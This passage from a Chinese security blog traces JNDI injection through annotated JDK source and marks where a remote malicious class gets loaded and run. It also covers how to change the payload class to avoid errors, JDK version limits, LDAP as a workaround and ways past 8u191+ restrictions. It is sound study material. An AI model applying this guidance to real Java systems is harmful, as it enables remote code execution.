3
4
5
public Object lookup(String name) throws NamingException {
//getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象
//然后在对应协议中去lookup搜索,我们进入lookup函数
return getURLOrDefaultInitCtx(name).lookup(name);
}

第二个,GenericURLContext.lookup函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//var1="rmi://127.0.0.1:1099/aa"
public Object lookup(String var1) throws NamingException {
//此处this为rmiURLContext类对象,调用对应类的getRootURLContext类为解析RMI地址
//不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext
//进入不同的协议路线
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
Context var3 = (Context)var2.getResolvedObj();//获取注册中心上下文对象

Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找,我们进入此处,传入name-aa
} finally {
var3.close();
}

return var4;
}

image-20200704145837036

image-20200704150316167

这里再提一下getRootURLContext函数,可以看到他对不同的JNDI协议配置了不同的解析函数(查看实现:option+command+B)。

第三个函数,RegistryContext.lookup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//传入var1=aa
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {//判断来到这里
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));//RMI客户端与注册中心通讯,返回RMI服务IP,地址等信息
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));//我们进入此处
}
}

能看出来这个registry其实是Stub

image-20211209163551498

第四个函数,decodeObject:

先说一下怎么进入,直接下断点,直接执行到cursor,这里需要等待一会,然后直接进入看源码:

image-20200704160754859

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
//注意到上面的服务端代码,我们在RMI服务端绑定的是一个Reference对象,世界线在这里变动
//如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址。
//如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
//获取reference对象进入此处
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
}

image-20200704155703140

进入到这个函数之后继续跑:

image-20200704163003687

第五个函数,继续跟进去,NamingManager:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//传入Reference对象,也就是var3到refinfo
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
// Use builder if installed
...
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {//满足
ref = (Reference) refInfo;//复制
} else if (refInfo instanceof Referenceable) {//不进入
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {//进入此处
String f = ref.getFactoryClassName();//函数名 ExecTest
if (f != null) {
//任意命令执行点1(构造函数、静态代码),进入此处
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
//任意命令执行点2(覆写getObjectInstance),
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

image-20200704164056444

第六个函数,getObjectFactoryFromReference:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;

//尝试从本地获取该class
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
//如果不在本地classpath,从cosebase中获取class
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
//此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:8081/
try {
//从我们放置恶意class文件的web服务器中获取class文件
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
//实例化我们的恶意class文件
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

image-20200704164249814

实例化会默认调用静态代码块+构造方法。
上面的例子就是调用了构造方法完成任意代码执行。

但是可以注意到之前执行任意命令成功,但是报错退出了,我们修改我们的恶意class文件,换一个命令执行点factory.getObjectInstance复写该函数执行命令。

  1. 报错是因为我们的类在实例化后不能转化为ObjectFactory(ObjectFactory) clas.newInstance()。只需要我们的类继承该类即可。

  2. 根据ObjectFactory.java的getObjectInstance接口复写函数

    1
    2
    3
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
    Hashtable<?,?> environment)
    throws Exception;

版本限制

JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性(使用的不是RMI Class Loading,而是URLClassLoader)。

所以不受RMI动态加载恶意类的 java版本应低于7u21、6u45,或者需要设置java.rmi.server.useCodebaseOnly=false系统属性的限制。具有更多的利用空间

但还是有版本无法复现,是因为在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。(这也是1.8u191失败的原因)

之前也提到jndi注入远程对象读取不单单只可以从rmi服务中读取,还可以从LDAP服务中读取

LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,
在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false

img

绕过JDK 8u191+等高版本限制

对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,依然可以进行绕过并完成利用。两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击,当然之后会新起一篇再说。

总结

以上就是总结JNDI的利用组合,其实个人觉得JNDI,RMI,LDAP都很像。

参考博客